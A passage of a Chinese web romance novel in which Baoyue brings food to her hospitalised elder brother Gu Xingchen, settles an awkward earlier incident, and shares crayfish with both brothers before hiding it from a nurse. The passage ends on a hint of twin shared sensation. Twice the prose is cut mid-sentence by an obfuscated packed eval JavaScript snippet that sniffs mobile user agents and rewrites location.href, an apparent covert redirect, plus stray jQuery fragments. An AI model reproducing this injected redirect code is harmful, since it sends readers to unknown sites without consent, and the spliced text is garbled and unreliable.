一个转身，不着痕迹地将宝玥挡在了顾星沉的视线之外。 哪怕中间隔了个顾星河，宝玥依然感觉到那道极为隐晦的目光。 她从小就对别人的目光格外敏感。 她很确定，大哥在看她。 她心虚不已，仿佛听到自己的心脏跳动声。 他是不是知道？ 在她胡思乱想间，骤然听到自己名字从顾星沉口中蹦出。 “是宝玥救了我吗？” 她一僵，不知道该说是，还是不是。 顾星河回了头，唇角勾起弧度，但眼神却平静无波，“是，要不是玥玥那天心情好，也给你买了一份甜品，恐怕出事都没人知道。” 顾星沉淡淡地说道：“这回是我沾了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938632|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝玥的福气，谢谢。” 一如既往冷淡的语气，但仅仅是被他提了两次自己的名字，宝玥的心脏就跳得极快，好像有只小兽在疯狂乱窜，撞得肋骨疼。 她回了一声，“没事，大哥没事就好。” 这一次，她看清了顾星沉的眼睛。 他的目光像寂静的探针，精准地落在她的脸上，仿佛在探究着什么。 他肯定知道了。 他甚至并没有顾及二哥在场，仿佛下一秒就要当着他的面说出什么，她忙拉了拉二哥的胳膊，“哥，我要迟到了。” 她佯装镇定地离开了病房，没有注意到和她一起走进电梯的顾星河，原本含笑的眼底掠过极深的暗色。 这一整天在实验室，她都心不在焉，想着如果大哥已经知道了，她是不是要找他单独聊聊？ 她还不知道该怎么说，但有一点共识必须和他达成。 绝对不能让二哥知道。 但是好难啊。 怎么才能单独见面又不显得突兀，且不能开门见山说这事，她需要一个由头。 她垂头丧气地趴在了电脑边。 陈牧问道：“宝玥，你不舒服吗？” 宝玥忙坐直，“没有，没有。” 他说道：“你要不舒服就先回去吧，今天不忙，我们这儿螺丝还没打完。” 宝玥想了下，抱歉地说道：“我有点事，先走了，晚点我再把这个视觉模块写了。” 她回了家煮粥。 可是不知道大哥喜欢甜的还是咸的。 她想了下煮了皮蛋瘦肉粥，又配了两块南瓜糕，拍了张照发给了他。 包月可爱：【大哥，我煮了点粥给你带去，什么时间方便？】 发完消息后，她安静地等待。 以她之前几次的情况看，他应该不会拒绝。 果然过了几分钟，他回了消息，言简意赅两个字。 【五点】 …… 宝玥到病房的时候，顾星沉正在和秘书说事。 他的情况才好一些就可以开始处理工作，真是一点也不闲着。 看到她进来，他就让秘书先出去，“怎么突然煮粥？” 他似乎不太理解她的行为。 宝玥把保温壶放在边上，乖巧地答话：“怕你……没吃饱。” 顾星沉：“下次不用麻烦，营养师会安排。” 宝玥轻声道：“我看施阿姨又给你准备了猪肝。” 对方没了声音。 宝玥不由忐忑，一紧张就开始解释，“我不知道你喜欢甜的还是咸的，所以煮了皮蛋瘦肉粥，又配了甜的糕点，你就……看着吃吧。” 说着说着，开始语无伦次，没话找话，几次想把话题转到正题上，但怎么也说不出口。 虽然大哥在病床上坐着，但气场依然很强，这小小的空间仿佛充满他冷冽的气息，她无处可避，也不敢看他。 顾星沉平静地注视着她，没有打断。 他的教养不允许他打断别人说话。 但他似乎也不想打断。 这张惊慌失措的脸，和那天一模一样，只是不再隔着水，是那么清晰灵动地展现在眼前。 眼见她已经穷途末路，实在找不到话时，他缓缓开了口，“抱歉，那天的事。” 宝玥的声音戛然而止，诧异地抬头看他，眼里又闪过慌乱，“你……记得？” “记得，一清二楚。” 他严肃而认真的神情，完全没有想把事情掩盖过去的意思。 22. 第 22 章 顾星沉的话一出，宝玥两眼一抹黑。 生怕大哥和二哥一样，说出要她负责的话，立马抢先一步鞠躬道歉，“对不起大哥！我不是故意的！当时听到声音才进去，我无意冒犯您……你！” “……” 顾星沉没说话，但宝玥感觉到那道目光沉甸甸地压在她脖子上，压得她不敢抬起头。 好半天，她才听到那低沉清冷的声音，“是我道歉才对，当时确实不太清醒。” 宝玥愣了愣，稍稍抬起头，见他眉头皱了下，“我也是第一次遇到这种状况，不知道该怎么处理，想听听你的建议？” 这不是要她负责的意思？ 一颗心暂时放了回去，她缓缓站直，又不太确定地瞟了他好几眼，依然看不出任何情绪。 她大胆尝试道，“可以当做没发生过吗？”” “可以。” 他毫不犹豫地应下，又补了句，“只要你不困恼就好。” 宝玥忙摇手，“不会，不会，这样就很好。” 顾星沉嗯了一声。 他太过正经严肃的表情，让她觉得他们是在讨论工作。 足够冷静、足够理智，也足够客观，不掺杂一点个人情绪。 原来，大哥是如此通情达理的人！ 说开之后，宝玥整个人放松了下来，将保温壶放到小桌上，“那大哥你吃吧。” 顾星沉坐到桌前，左手拇指和食指翻起病号服的袖口，往上折至三指宽度，并抚平褶皱，露出手腕，如此流畅的动作仿若是刻在骨子里的礼仪，是吃饭前必须进行的仪式。 他后背挺直，坐姿如松，并不合身的病号服穿在他身上，竟也称出几分贵重。 都说人靠衣装，但这一刻，宝玥却觉得衣靠人显贵。 他安静无话地吃完了她送来的所有食物，并替她收拾好了碗勺，再度提醒她，“下次不要送了。” 宝玥乖巧地应道：“知道了。” 她看不出他吃光这些是因为喜欢，还是出于对厨子的尊重。 事情解决，她也不多逗留了，“大哥，我先回去了，你好好休息。” 顾星沉蓦地问道：“你给我买的什么甜品？” 宝玥迟疑了下，“你说那天？是栗子杯……我重新买一份？” 这话说完总觉得怪怪的。 大哥不是那种会开口问她要的人。 但诡异的是她问完后，对方也没拒绝？ 经过几次相处，她隐约摸到一些经验，他不说话就是默认、答应的意思。 她想了想，又试探地一句，“那我明天来？” “好。” 实锤了。 真的如此。 她语气不由轻快了些，“那几点方便？” “你方便的时间，来之前和我发消息。” “行！” 顾星沉又让秘书送她回校，宝玥刚抬手想拒绝，但见顾星沉那一脸不是很好说话的模样，怂怂地咽下了拒绝的话，和他的秘书说了一声，“谢谢您。” “客气了，叫我小王就行。” “王哥……” 王秘书忍不住笑了下。 *** 第二日，顾星河也要去医院探望大哥，宝玥就搭他的车一起去了。 见她提了甜品和小龙虾，他笑着调侃道：“你带这些去探望大哥啊？他不吃的。” 宝玥被注视得有点心虚，“他不吃，我们就拿回家吃。” 这话听得令人愉悦，以至于顾星河略过了她的不自然，“那不是凉了？可以当着大哥的面吃。” 宝玥笑笑。 两人到医院的时候，营养师已经收拾完餐具，佣人正在打扫卫生，而顾星沉坐在沙发前左手翻着文件，右手握着钢笔在比划着什么，有的在下方签上了名字，有的直接退给了身旁站着的王秘书，而后又从文件夹中抽出一份待处理的继续审阅。 同时，手机里发出有人汇报的声音——正在线上会议中。 此时已经晚上7点，他还如此忙碌。 宝玥走进病房的脚步不由放轻。 顾星沉抬眸看见他们，就停下了手中所有事情，王秘书见状开始收拾桌上的文件，进行分门归类。 顾星河：“不忙了？” 顾星沉：“马上结束了。” 他点开麦克风，开始一顿发言，虽然惜字如金，但言辞精准且犀利，指出报告中多处问题，包括利润计算有误，然后结束了会议。 顾星河这才开口问道：“检查有结果了吗？” “没有。” “医生怎么说，不会要让你一直住下去吧？” “住不了，事太多了，后天就出院。” 只是住了几天院，已经有人按捺不住骚动了。 虽然封-锁-消-息，但依然有人刻意放出他病重的消息。 他很清楚自己的情况，在这儿耗不出结果。 所以和父母商量了下，还是出院。 宝玥：“那太好了！” 她做贼似的瞥了眼王秘书和佣人，等他们都走后，她才把食物摊在了桌上，“我买了栗子杯和小龙虾。” 顾星沉盯着那一盆红彤彤的虾无动于衷。 顾星河笑了下，“看吧，他不吃。” 顾星沉：“这个怎么剥？” 顾星河：“……？” 宝玥却得意地笑了起来。 顾星沉不是没吃过，只是没剥过。 不动是因为不知道该怎么动。 宝玥拖了把椅子坐到他身边，“我来教你。” 她麻利地拿起一只虾掰断虾头，“先去虾头，再拨掉第一节的壳，往这里揪一下，虾肉就出来，这儿，撕开，这条黑线去掉……” 为了让他看清楚点，她一边说着，一边将小龙虾拿近些。 顾星沉低着头，起初还能能认真地看她的动作，随着她越来越近，他的注意力不由自主被那白皙的手指吸住。 这回看得远比上次清晰。 那双手在红艳艳的小龙虾衬托下，白得似羊脂玉，透着晶莹的质感，仿佛在发光。 他身体有点热。 好像又发烧了。 他不由屏住了呼吸，生怕滚烫的气息惊扰到她。 杵在旁边的顾星河逐渐察觉气氛不对。 二人这旁若无人的样子，仿佛这事不是第一回干。 他很快就回忆起自己出国那会儿，再回来就发现两人关系突然变好了，至今不知道发生了什么。 几滴汤汁溅到手背上，宝玥哎呀了一声，“忘记戴手套了。” 顾星沉抽了张纸覆在汤汁上，隔着薄薄的纸，他的指尖触到了她的手背，两人都愣了下。 蓦地感受到后背一道强烈的视线，宝玥赶紧接过纸擦手，顾星沉在她抬手之前就已经移开了手。 她若无其事地将第一只剥好的虾肉放到顾星沉的小碟里，“大哥你尝尝好不好吃？不知道你喜欢口味的，我就都买了点，这是十三香的，还有麻辣、蒜蓉……” 顾星河终于在这个时候开了口，“我都没吃过你剥的虾。” 他还在笑，但笑意凉凉。 宝玥：“那我也给你剥。” 说着就挑了只麻辣口味。 不知道大哥喜欢什么，却能不假思索地拿起他最爱的口味。 顾星河唇角荡开，说服自己忽略掉刚刚她紧张的反应。 发生那种事，妹妹有点膈应是正常的。 他不能生气，更不能像个妒夫。 他笑吟吟地说道：“你出来，我来，我可舍不得让妹妹动手。” 他把妹妹往旁边的椅子一赶，自己坐到他们之中，接过那盆小龙虾，套上手套，手法和效率不知道比她高多少倍，都是千锤百炼出来的经验。 宝玥也没闲着，还是捡了几只剥起来，顾星沉沉吟片刻，也拿起一只。 病房内，原本令人不适的消毒水被小龙虾浓郁的香气覆盖，就连灰白单调的装修也仿佛有了些色彩。 兄妹三人共处十几年，还从来没有在家里一起吃过小龙虾，此刻却在病房内偷鸡摸狗似的，围着一张小小的桌子。 想想就十分滑稽。 宝玥一个没忍住，笑出声。 顾星河：“你笑什么？” 宝玥捂着嘴，抖了抖肩，“哥不觉得我们三人在病房偷吃宵夜很好笑吗？” 特别是大哥一本正经剥龙虾的样子。 她实在忍不住笑。 顾星河见她明眸闪烁，不由也笑得开怀。 顾星沉看了看二人，微不可察地勾了下唇，正要把剥得稀烂虾肉放进嘴里，忽然被顾星河夺走，换了一块完整饱满的，“你这剥得也太碎了，别吃了。” 刚嫌弃完，这块稀碎的虾肉被宝玥叼走了，她嚼了嚼，“大哥第一次剥成这样很不错了，不要浪费。” 眼看顾星河气笑，她眼疾手快将刚剥好的虾肉塞进了他微开的唇缝里，堵住了他的话，还歪了下脑袋，笑容甜美，“不要说我没剥给你吃了哦。” 顾星河仿佛一只准备炸毛又瞬间被顺毛的狗，表情肉眼可见的温和了下来。 只是有点遗憾。 太快了。 没来得及舔两下妹妹的手。 “对了，晚上几点查房？” “9点。” 宝玥看了下时间，还早，于是畅快地吃了起来，还感慨了句，“早知道带点饮料。” 顾星河笑眯眯地询问：“那我现在去买？你想喝什么？是不是还要来点冰淇淋？” 顾星沉皱下眉，欲言又止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943602|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝玥也觉得太嚣张了，忙说不要。 一眨眼的功夫，她面前的小碟堆满了白花花的肉。 有二哥剥的，也有大哥剥的。 一盆的龙虾，最后大半都进了她的肚子里。 栗子杯倒是悄无声息被大哥吃光了。 原来他喜欢甜食。 宝玥心满意足，和两位哥哥收拾残骸，清理作案现场。 突然，响起了敲门声，“查房——诶，门怎么锁了？” “啊，怎么这么早就来？” 宝玥顿时慌了，加快把残骸扫进垃圾袋。 顾星河迅速将鼓囊囊的垃圾袋扎紧，“去开窗。” 宝玥立马将会客厅的窗户全部打开，还不够，又把病房的窗也打开。 但这味道太大了，一时半会散不开。 顾星河将垃圾袋丢进卫生间，正要关门，顾星沉按住他的胳膊，不知何时手上多了一个酒精喷壶，他直接拧开，倒在垃圾袋上，酒精味浓到刺鼻，隔着几米远的宝玥都被熏得天灵盖发麻，她唔了一声，立马也拿起手边的酒精壶对着桌子和地板一阵狂喷。 三人默契又迅速地毁尸灭迹后，顾星沉又披上西装外套，这才去开门。 从始至终，他没有出现丝毫慌乱的神色，只有着沉着和冷静。 他镇定开口道：“不好意思，误锁了。” 护士又转了两下门锁，确认锁没坏后，再次强调：“晚上睡觉请不要反锁，怎么这么浓的酒精味？” 她四处看了眼。 顾星河从卫生间出来，仿佛才看见人似的，露出恰到好处的愧疚笑容，“刚刚消毒下卫生间，不小心弄洒了。” 他说着还晃了下刚刚被顾星沉倒了大半的酒精壶，“一会能再补一瓶给我们吗？” 演技不好的宝玥则坐在沙发上假装在看手机。 护士扫了眼他们三人，没有多想，应了声，“行，我等会就给你们拿来，探望时间也快到了，你们不要影响病人的休息。” 顾星河微笑道，“那太麻烦你了，我们可以自己到护士台领吗？” 护士说道：“可以的。” 她转身对顾星沉说道：“顾先生，请回到病床，我给你做下检查。” 顾星河则带着宝玥离开了病房，等到他们再回来时，护士已经离开了。 顾星沉从容地将外套重新脱下，挂在衣架上。 三人心照不宣地望了下彼此。 真是好刺-激的一晚。 宝玥说道：“但愿明天施阿姨不会知道。” 顾星沉：“不会知道。” 他永远都是这副掌控全局的冷静，包括刚刚和护士撒谎，与平日一般无二，完全看不出演的痕迹。 不愧是20岁出头就能身居集团高位的大哥，心理素质实在太强了。 离开医院时，宝玥还在感叹。 原来，大哥喜欢甜食，也能吃小龙虾，即便冷冰冰的，也会悄悄给她剥小龙虾，会纵容他们放肆，还会帮忙打掩护。 “哥，你会不会觉得大哥好可怜？” 顾星河露出一副听错的表情，“他，可怜？” 宝玥点点头，“以前就觉得他老是被阿姨训很可怜，现在感觉可怜又可悲。” 顾星河：“不太明白，家里最好的东西都给他，也倾尽所有资源培养他，如果这算可怜？那我算什么？” 宝玥：“但是他也承受了所有人的期盼啊，不能说错一句话，不能做错一件事，永远要保持体面的形象……” 她没背过顾家家训，但细数起来也已经好几十条了，每一条都是一道捆在顾星沉身上的锁链。 “他又不能像哥这样想学什么专业就学什么专业，想做什么事情就做什么事，他从小就被当做继承人培养，没人问过他愿不愿意……” 顾星河露出一抹笑，“你啊，真是同情心泛滥，都开始操心起一个身价千亿的人什么心情了。” 宝玥：“……你这样说，好像有点扎心。” 顾星河笑眯眯地凑过来捧住她的脸亲吻，“操心他，还不如操……我。” *** 窗外又下起了雨。 顾星沉被雨声惊醒，才想起窗户还没关。 寂静无人的病房内，还残留着酒精的气味，而他的病号服上藏着淡淡的龙虾味，这一切都像在无声地提醒他今晚发生的事。 直到那强烈的情-愫再次降临。 他平静地躺在床上，回味着这既属于他，又不属于他的悸动。 每一次的亲密，都是对他的凌迟。 最先崩塌的不是他的理智，而是他的身体。 忍受了数月，回避了数月，所做的一切措施皆是徒劳。 如果双生子之间的共感无法消失，那就…… 取而代之。